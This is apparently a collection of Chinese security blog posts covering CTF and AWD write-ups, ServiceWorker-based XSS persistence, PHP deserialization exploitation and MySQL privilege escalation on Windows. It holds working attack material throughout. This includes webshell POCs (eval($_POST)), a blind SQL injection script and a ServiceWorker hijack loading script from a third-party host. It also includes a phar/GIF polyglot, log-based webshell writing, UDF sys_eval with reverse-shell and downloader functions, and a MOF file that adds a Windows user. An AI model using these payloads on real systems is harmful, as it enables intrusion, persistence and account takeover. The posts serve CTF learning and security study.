HCTF2018线下赛感想

跑去丢了一趟人,实在是对不起各位师傅

反思

比赛期恰逢考试期,几天一共就睡了几个小时,无论从体力或是经验都输的一塌糊涂。

这次比赛也算是给自己个教训,准备不充分,就把之前备好的流量成功监控了,其余的东西几乎没用

比赛开始配置网络用了挺长时间的,导致登上ssh以后就已经被别人上马了。

其实这是很吃亏的事:第一,你无法及时备份原始的目录,这就有一个很严重的后果,如果后来一不小心恢复了留有马子的备份一切功亏一篑,更严重的是,如果你的一些服务被恶意删了,那开局就直接崩盘。

第二,在你杀别人后门的时候,别人可能就已经打了你一轮,甚至可能会种新的马。而且杀后门的时间又占用了补洞的时间..新一轮的马子又会上来…

所以上线一定要快,备份打的一定要快!

教训就是,一定要在本地补好洞了,再传到机器上,宁可被打,也要修好自己的服务,被打总比down掉了好。这次吃了很大的亏,全场被check。

所以,不要随便就删漏洞点,有时候漏洞点也是功能点。补洞不代表无脑卡权限,这次include的文件包含洞就可以换成file_get_contents来补。最重要的事,不要随便就把目录555了,如果Check点是上传和下载功能就凉了

关于防御,一定要给自己留一个可用的后门,www-data权限一定得有一个,否则php进程可能都杀不掉

这次比赛后要准备的东西

吃足了教训:手动上马是非常愚蠢的行为

内置后门批量上马

蓝莲花的moxiaoxi师傅的脚本思路大致是这样的:

内置后门(能执行system函数),通过散列生成随机名字的隐藏不死马+守护进程维护不死马+软连接来隐藏真实的请求

最近要完成这个脚本

心态

心态真的是很重要,不要因为被打就慌张,找到洞点,补好了再上服务,切忌慌里慌张。

这次就算是交学费了,自闭

RootkitXSS之ServiceWorker

RootkitXSS之ServiceWorker

文章首发于先知:https://xz.aliyun.com/t/3228#toc-10

在拿到一个可以XSS点的时候后,持久化成为一种问题。这几天跟师傅们接触到RootkiXss的一些姿势,受益匪浅

Serviceworker定义

Service workers(后文称SW) 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。

也就是说SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。

查看SW服务

Chrome地址栏访问 chrome://serviceworker-internals/,就可以看见已有的后台服务。

注册serviceworker

注册点js代码

<script type="text/javascript">
    var url="//localhost/serviceworker.js";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
normal visit

script标签下的type必须指明为text/javascript

event.request.clone()

对象的内容如图

攻击条件

一个可以XSS的点

sw文件可控

如果说sw可以放在同源下,也就是js文件可控的话。直接注册Sw,代码如下:

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response
self.addEventListener('fetch', function (event) {  
    var url = event.request.clone(); 
    body = '<script>alert("test")</script>';
    init = {headers: { 'Content-Type': 'text/html' }};
    if(url.url=='http://localhost/reurl.html'){
        res  = new Response(body,init);
        event.respondWith(res.clone());
    }
});

jsonp回调接口

利用储值型X点写入下面的代码

当JSONP接口存在缺陷时,比如没有校验回调名。导致返回内容可控
比如:url?callback=importScript(…)
返回importScript(...)
代码实现如下:

<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();

header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");

attack_js

<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>

这里面callback回调的事件就相当于sw脚本。当js被执行之后会注册一个sw脚本,内容是回调的事件

或者鸡肋上传一个html到网站下

<html>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> 
<body>
<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
it's nothing
</body>
</html>

局限

  • 存在有缺陷的 JSONP 接口
  • JSONP 的目录尽可能浅(最好在根目录下),如果放在域的根目录下,将会收到这个域下的所有fetch事件
  • JSONP 返回的 Content-Type 必须是 JS 类型
  • 存在 XSS 的页面

在网上看到一个师傅这样作例,引用一下:
service worker文件被放在这个域的根目录下,这意味着service worker和网站同源。换句话说,这个service work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/sw.js,那么,service worker只能收到/example/路径下的fetch事件(例如: /example/page1/, /example/page2/)

Cache缓存污染

前文的攻击不涉及cache里的资源,进行的是协商缓存,下面说一下强缓存的利用。

请求资源

如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。

下面是一个缓存读取/判断的demo

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function (event) {  
        event.respondWith(
            //console.log(event.request)
        caches.match(event.request).then(function(res){
        if(res){//如果有缓存则使用缓存
        return res;
        }
        return requestBackend(event);//没缓存就进行缓存
        })
        )
   });

function requestBackend(event){  
        var url = event.request.clone();  
        console.log(url)  //打印内容是打印到请求页面
        if(url.url=='http://localhost/reurl.html'){//判断是否为需要劫持的资源

        return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
        }
        return fetch(url).then(function(res){
        //检测是否为有效响应
        if(!res || res.status !== 200 || res.type !== 'basic'){
        return res;
        }
        var response = res.clone();
        caches.open('v1').then(function(cache){  //打开v1缓存进行存储
        cache.put(event.request, response);
        });

        return res;
        })
}

分析

前几天看ED师傅的研究,发现这种好玩但是鸡肋的方法。上面提到cache.put的方法把js资源添加到Cache Storage,其实如果我们用cache.put把恶意代码插入,覆盖原始的js数据。后果就是当sw请求cahce里的资源时会执行恶意代码。比如workbox会先从缓存读取静态资源,我们用异步请求将恶意代码无限覆盖这个缓存时:

控制台输入下面的恶意代码

async function replay() {
    const name = 'xx'
    const url = 'xx'
    const payload = `
alert(1);
`
    let cache = await caches.open(name);
    let req = new Request(url);
    let res = new Response(payload + replay + ';replay()');   //执行alert+写入cache内容+执行fn
    setInterval(_ => {
      cache.put(req, res.clone());
    }, 500);
}
replay();

就可以在cache Storage里看到500ms刷新并覆盖一次的js资源。

相关链接

Service Worker API(https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API)

浏览器缓存知识(https://www.cnblogs.com/lyzg/p/5125934.html)

HCTF2018线上赛部分WriteUp

HCTF题解

admin

思路

提示只有admin才能查看

注册账号功能,发现注册大写和小写会提示重名注册。
也就是说 ADMIN<=>admin

有一篇文章将Unicode安全,提到的一个python函数canonical_username,这个函数会把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big。ᴬᴬᴬ,经过函数处理
后变成了AAA

  1. 我们注册形似ADMIN的名字
  2. 后台函数处理把形似ADMIN转换为ADMIN
  3. 修改ADMIN的密码,相当于修改admin的密码
  4. 登陆admin获得flag

相当于一个越权

相关链接

Unicode安全:http://blog.lnyas.xyz/?p=1411
Unicode近似字合集:https://www.compart.com/en/unicode/category/Lm

kznoe

解析

拿到题目发现砝码泄露,down了一份www.zip开始审

一眼看到sql文件,打开看看执行了哪些语句,发现后台账号密码

INSERT INTO `fish_admin` (`id`, `username`, `password`, `name`, `qq`, `per`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);

登陆失败,被改了密码,开始审计

审计

整个钓鱼网站的大致结构:

根目录index.php跳转页

admin目录

admin目录下是钓鱼后台的管理,login逻辑判断登陆

include目录。

include下是配置文件,common入口文件包含了过滤和验证内容,其中:

  1. safe.php写了过滤规则,任何GET\POST\COOKIE请求的参数会经过filter
    function waf($string)
    {
     $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; // and updatexml(1,concat(0x7e,database())
     return preg_replace_callback($blacklist, function ($match) {
         return '@' . $match[0] . '@';
     }, $string);
    }
    

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

匹配到这些会在关键字前后添加@

2. member根据cookie判断是否已经登陆
3. founction封装了一些功能函数
4. db.class一些执行的sql语句

## 思路
### ip
刚开始审的时候看到了insert把ip入库,而且ip的获取是这样的:
![](https://i.loli.net/2018/11/13/5beac380388eb.jpg)
不用经过safe的过滤,但是下面的ip2long会把超限度的ip置空,因此ip注入行不通

### bypass
因为有全局过滤safe,所以一开始在想可不可以bypass掉,用hex绕过is_number的检测,使我们注入的语句不会经过filter。确实成功执行了我用hex传入的语句,但是mysql仅仅是把hex的值入库了,也无法进行二次利用。

### member.php
当时他们说可以用json形式的cookie注入,unicode编码绕过于是去看cookie逻辑登陆的地方

![](https://i.loli.net/2018/11/13/5beac35ebedb4.png)

cookie传入参数login_data解析查库,用了json_decode,那么就可以用unicode编码无视过滤
![](https://i.loli.net/2018/11/13/5beac38e39abe.png)

剩下的就是编写tamper脚本了,把payload替换成unicode。但是看到了微笑师傅的一个py脚本,不借助sqlmap,觉得写的很好,贴出来

-- coding: utf-8 --

import requests
import string

url = ‘http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+’{}!@#$*&_,’

def check(payload):
cookie={
‘PHPSESSID’:’8ehnp28ccr4ueh3gnfc3uqtau1’,
‘islogin’:’1’,
‘login_data’:payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=’’
for i in range(1,33):
for j in str1:
payload = ‘{“admin_user”:”admin'//and//\u0069f(\u0061scii(\u0073ubstr((select//table_name//from//inf\u006Frmation_schema.tables//where//table_schema\u003ddatabase()//limit//0,1),%s,1))\u003d'%s',\u0073leep(4),1)//and//'1”}’% (str(i),ord(j))
payload = ‘{“admin_user”:”admin'/
/and//\u0069f(\u0061scii(\u0073ubstr((select//F1a9//from//F1444g),%s,1))\u003d%s,\u0073leep(4),1)//and//'1”,”admin_pass”:”123”}’% (str(i),ord(j))
#print(‘[+]’+payload)
if check(payload):
result += j
break
print(result)


只要是请求的页面包含common.php此脚本都能行得通,因为会引入member.php




ISCC2018 信阳杯线下赛小结

自己巨大的锅..感觉本能拿第一的,却只水了个第二。

从这篇起以后的日子闭关反思

线下ctf

上午的线下ctf就不说了,一个misc两个逆向。web狗:???
而且misc巨坑,感觉也是比脑洞,b32出来了对比hex还原再crc32。当时B32解出来有乱码,一直在测试编码的道路上,但结束后问了西工的师傅们才发现路走偏了。要学会习惯用winhex分析,跟原始的zip比对….这就解释了为什么有个504的文件头了..总之ctf体验极差

高地赛

当时拿到题目是两个私地,一个pwn,一个web.高地也是一个pwn
看到网上有这么个吐槽:
选手:“ISCC你又出新题啦!”

当时看到题,第一反应是17年的原题,ez的前端太好辨识了..
最扯淡的是,给了Mongodb的配置和17年的也一样..甚至连后台账号密码都没变。不过一开始我万能密码也进去了。但自己菜的也是真实,作为第一个打全场的队伍,后来权限没稳住又被别人反超…

Always onload,还有很多要学的

四个实例递进php反序列化

##声明
文章首发于安全客:https://www.anquanke.com/post/id/159206

索引

最近在总结php序列化相关的知识,看了好多前辈师傅的文章,决定对四个理解难度递进的序列化思路进行一个复现剖析。包括最近Blackhat议题披露的phar拓展php反序列化漏洞攻击面。前人栽树,后人乘凉,担着前辈师傅们的辅拓前行!

D0g3

为了让大家进入状态,来一道简单的反序列化小题,新来的表哥们可以先学习一下php序列化和反序列化。顺便安利一下D0g3小组的平台,后面会有题不断上新哦~
题目平台地址:http://ctf.d0g3.cn
题目入口:http://120.79.33.253:9001

页面给了源码

<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

提醒大家补充php序列化知识的水题~

直接上传s:7:"D0g3!!!"即可get flag

绕过魔法函数的反序列化漏洞

漏洞编号CVE-2016-7124

魔法函数__sleep() 和 __wakeup()

php文档中定义__wakeup():

unserialize() 执行时会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。__sleep()则相反,是用在序列化一个对象时被调用

漏洞剖析

PHP5 < 5.6.25
PHP7 < 7.0.10
PHP官方给了示例:https://bugs.php.net/bug.php?id=72663
这个漏洞核心:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行比如下面这个类构造:

class hpdoger{
    public $a = 'nice to meet u';
    }

序列化这个类得到的结果:

O:7:"hpdoger":1:{s:1:"a";s:6:"nice to meet u";}

简单解释一下这个序列化字符串:
O代表结构类型为:类,7表示类名长度,接着是类名、属性(成员)个数
大括号内分别是:属性名类型、长度、名称;值类型、长度、值

正常情况下,反序列化一个类得到的结果:

析构方法和__wakeup都能够执行

如果我们把传入的序列化字符串的属性个数更改成大于1的任何数

O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}

得到的结果如图,__wakeup没有被执行,但是执行了析构函数

假如我们的demo是这样的呢?

<?php
class A{
    var $a = "test";
    function __destruct(){
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\test\\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
    function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v) {
                    $this->$k = null;
            }
        }
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
?>

每次反序列化是都会调用__wakeup从而把$a值清空。但是,如果我们绕过wakeup不就能写Shell了?既然反序列化的内容是可控的,就利用上述的方法绕过wakeup。

poc:

O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

序列化漏洞常见的魔法函数

__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

Session反序列化漏洞

Session序列化机制

提到这个漏洞,就得先知道什么叫Session序列化机制。

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

PHP处理器的三种序列化方式:
| 处理器 | 对应的存储格式 |
| —————— |:———————|
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
|php_serialize |serialize()函数反序列处理数组方式|

配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用php

一个简单的demo(session.php)认识一下存储过程:

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['hpdoger'] = $_GET['hpdoger'];

?>

访问页面

http://localhost/test/session.php?hpdoger=lover

在session.save_path对应路径下会生成一个文件,名称例如:sess_1ja9n59ssk975tff3r0b2sojd5
因为选择的序列化处理方式为php_serialize,所以是被serialize()函数处理过的$_SESSION[‘hpdoger’]。存储文件内容:

a:1:{s:7:"hpdoger";s:5:"lover";}

如果选择的序列化处理方式为php,即ini_set('session.serialize_handler','php');,则存储内容为:

hpdoger|s:5:"lover";

漏洞剖析

选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

这里提供一个demo:

存储Session页面

/*session.php*/

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['hpdoger'] = $_GET['hpdoger'];

?>

可利用页面

/*test.php*/

<?php 
ini_set('session.serialize_handler','php');
session_start();

class hpdoger{
    var $a;

    function __destruct(){
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\test\\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
}

?>

访问第一个页面的poc:

/tmp目录下生成的session文件内容:

a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

再访问test.php时反序列化已存储的session,新的php处理方式会把“|”后的值当作KEY值再serialize(),相当于我们实例化了这个页面的hpdoger类,相当于执行:

$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';

在指定的目录D:\phpStudy\PHPTutorial\WWW\test\shell.php中会写入内容<?php phpinfo()?>

jarvisoj-web的一道SESSION反序列化

题目入口(http://web.jarvisoj.com:32784/index.php)
Index页给源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看到ini_set(‘session.serialize_handler’, ‘php’);

暂时没找到用php_serialize添加session的方法。但看到当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()

这里参考Chybeta师傅的一个姿势:session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

构造上传的表单poc,列出当前目录:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

读文件就行

|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php));";}

得到flag

CTF{4d96e37f4be998c50aa586de4ada354a}

phar伪协议触发php反序列化

最近Black Hat比较热的一个议题:It’s a PHP unserialization vulnerability Jim, but not as we know it。参考了创宇的文章,这里笔者把它作为php反序列化的最后一个模块,希望日后能在以上的几种反序列化之外拓宽新的思路。

phar://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

phar文件结构

详情参考php手册(https://secure.php.net/phar)

这里摘出创宇提供的四部分结构概要:
1、a stub
识别phar拓展的标识,格式:xxx。对应的函数Phar::setStub

2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata–设置phar归档元数据

3、 the file contents
被压缩文件的内容。

4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering –停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

Phar内置方法

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)

PHP内置phar类,其他的一些方法如下:

$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作
$phar->startBuffering()  //开始缓冲Phar写操作
$phar->addFromString('test.php','<?php echo \'this is test file\';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo()  //解压一个phar包的函数,extractTo 提取phar文档内容

漏洞剖析

文件的第二部分a manifest describing the contents可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

文件上传绕过deomo

自己写了个丑陋的代码,只允许gif文件上传(实则有其他方法绕过,这里不赘述),代码部分如下

前端上传:

<form action="http://localhost/test/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="hpdoger">
    <input type="submit" name="submit">
</form>

后端验证:

/*upload.php*/
<?php
    /*返回后缀名函数*/
    function getExt($filename){
        return substr($filename,strripos($filename,'.')+1);
    }

    /*检测MIME类型是否为gif*/
    if($_FILES['hpdoger']['type'] != "image/gif"){
        echo "Not allowed !";
        exit;
    }
    else{
        $filenameExt = strtolower(getExt($_FILES['hpdoger']['name']));    /*提取后缀名*/

        if($filenameExt != 'gif'){
            echo "Not gif !";
        }
        else{
            move_uploaded_file($_FILES['hpdoger']['tmp_name'], $_FILES['hpdoger']['name']);
            echo "Successfully!";
        }
    }
?>

代码判断了MIME类型+后缀判断,如下是我测试php文件的两个结果:
直接上传php

抓包更改content-type为 image/gif再次上传

可以看到两次都被拒绝上传,那我们更改phar后缀名再次上传

php环境编译生成一个phar文件,代码如下:

<?php 
class not_useful{
    var $file = "<?php phpinfo() ?>";
}

@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");

$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");

$phar->stopBuffering();
?>

这里实例的类是为后面的demo做铺垫,php文件同目录下生成hpdoger.phar文件,我们更改名称为hpdoger.gif看一下

gif头、phar识别序列、序列化后的字符串都具备

上传一下看能否成功,成功绕过检测在服务端存储一个hpdoger.gif

利用Phar://伪协议demo

我们已经上传了可解析的phar文件,现在需要找到一个文件操作函数的页面来利用,这里笔者写一个比较鸡肋的页面,目的是还原流程而非真实情况。

代码如下:reapperance.php

<?php
    $recieve = $_GET['recieve'];

    /*写入文件类操作*/
    class not_useful{
        var $file;

        function __destruct(){
        $fp = fopen("D:\\phpStudy\\PHPTutorial\\WWW\\test\\shell.php","w"); //自定义写入路径
        fputs($fp,$this->file);
        fclose($fp);
    }

    file_get_contents($recieve);

?>

$recieve可控,符合我们的利用条件。那我们构造payload:

若执行成功,会将刚才写入meta-data数据里面序列化的类进行反序列化,并且实例了$file成员,导致文件写入,成功写入如下:

可利用的文件操作函数

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

各种文件头

类型 标识
JPEG 头标识ff d8 ,结束标识ff d9
PNG 头标识89 50 4E 47 0D 0A 1A 0A
GIF 头标识(6 bytes) 47 49 46 38 39(37) 61 GIF89(7)a
BMP 头标识(2 bytes) 42 4D BM

相关链接

jarvisoj-web-writeup(https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO)
利用 phar 拓展 php 反序列化漏洞攻击面(https://paper.seebug.org/680/)

基于Windows下mysql的一些提权分析

索引

这篇文章是写基于windows环境下的一些mysql提权方法的分析并利用。这些方法老生常谈,但困于很多文章在讲分析和利用的时候模棱两可,因此想总结一下常见的方法思路。基于windows的提权姿势多的数不胜数,一般在配置文件可以嗅探到root密码的情况(root密码已知)下,或者注入、爆破拿到root密码下,可以考虑mysql提权。文章内容很基础,下面对这些方法进行一些粗谈,有什么理解错误的地方还请客观们轻打…大佬们可以略过这篇文章qaq…

实验环境

靶机A: Windows 7 SP1
靶机B: Windows server 2003 enterprise x64
Phpstudy搭建的php+mysql
php版本:5.4.45
mysql版本:5.5.53
攻击环境:已知root账号密码,网站存在phpmyadmin页面

通过phpmyadmin来getshell

简单测试

利用log变量,猜一下绝对路径

看到phpstudy,猜测根目录在WWW下,into outfile写个马测一下能传不

果然是用不成into outfile,因为file_priv为null,那么尝试使用日志写马

利用日志写shell

开启日志记录

set global general_log='on';

日志文件导出指定目录

set global general_log_file='C:/phpstudy/WWW/hp.php';

记录sql语句写马,这里我就是演示一下,没有安全狗,直接传原马

select '<?php @eval($_POST["hp"]); ?>';

关闭记录

set global general_log=off;

菜刀连接

url: 192.168.11.106/hp.php

看一下权限,普通成员hpd0egr,创建用户错误5。
接下来开始提权之路!

UDF提权

什么是UDF

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

提权原理

先学习一下什么叫动态链接库

动态链接库

动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

提权分析

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

提权复现

工具

这里我用暗月的马,改了一些参数。后面我会把所有工具打包

访问提权马

导出dll到指定目录

利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求

  • Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

  • Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

但是大于5.1版本的时候没有plugin这个文件夹,需要我们自己创建。

靶机mysql版本为5.5,那我们只能自己创建一个plugin文件夹了,先用select @@basedir;获取安装目录。

在该目录下创建一个plugin文件夹,网上有大神说可以用ntfs创建目录,感兴趣的话可以研究一下,我这里直接菜刀新建

这个提权马自带的导出要用到Into dumpfile,但是file_priv为Null这个问题限制了我们,就算我们修改了my.ini文件也要重启mysql,那我们直接传一个dll上去吧,文件名为hpudf.dll如图

将udf的自定义函数引入

我们刚才只是把udf的动态链接库导出到指定文件夹,还不能使用里面的自定义函数。要想使用自定义函数,就要把udf.dll中的自定义函数引入。

引入sys_eval函数:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll'

其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,hpudf.dll是你导出文件的名字;

常见的函数如下:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

执行命令

执行命令模板:

select sys_eval('ipconfig)

添加用户/管理员

查看一下用户

get it~

MOF提权

MOF提权的条件要求十分严苛:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

mysql以root身份启动,具有c盘下system32/wbem/mof这点权限的要求,就已经非常严格了。。而且win7 sp1就已经没有这个nullevt.mof这个文件了,那么这里记一下poc,来对windows 03的机子进行验证。

MOF文件

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\Documents and Settings\test

根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
payload:

select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。

验证提权

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。


